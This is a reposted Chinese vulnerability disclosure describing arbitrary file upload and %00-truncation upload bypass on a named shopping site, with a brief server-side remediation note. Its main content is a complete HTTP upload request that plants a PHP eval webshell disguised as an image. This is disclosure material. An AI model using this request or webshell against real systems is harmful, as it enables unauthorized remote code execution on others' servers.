当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

快乐购物网任意文件上传欺骗上传漏洞技巧

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

某公司任意文件上传,另外的上传页面存在欺骗上传漏洞(%00截断)..
欺骗上传的,不返回路径,通过前面上传的shell去看了下,确实是上传成功了的...
返回上传路径的上传页面

#upload_
上传的shell

 

另外的页面,可以通过%00截断上传,涛涛电脑知识网,但是不返回上传的路径,但是去路径下面看了下,www.xuhantao.com,确实是上传上去的了~

POST /sc/d/gougoukeaixiu/action.php?method=upload HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: ?result=success
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7dc31fc170554
Accept-Encoding: gzip, deflate
Host: zt.happigo.com
Content-Length: 1600
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: [cookies]

-----------------------------7dc31fc170554
Content-Disposition: form-data; name="fileField"; filename="3.php"
Content-Type: image/pjpeg

<?php @eval($_REQUEST['ok']);?>
-----------------------------7dc31fc170554
Content-Disposition: form-data; name="title"

OK
-----------------------------7dc31fc170554--
上传上去的shell

 

另外的

 


 


不返回路径的上传页面



修复方案:


在服务器端上传文件检查。另注:贵公司要对根目录下面的各个子文件夹下面的上传页面做检查~

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1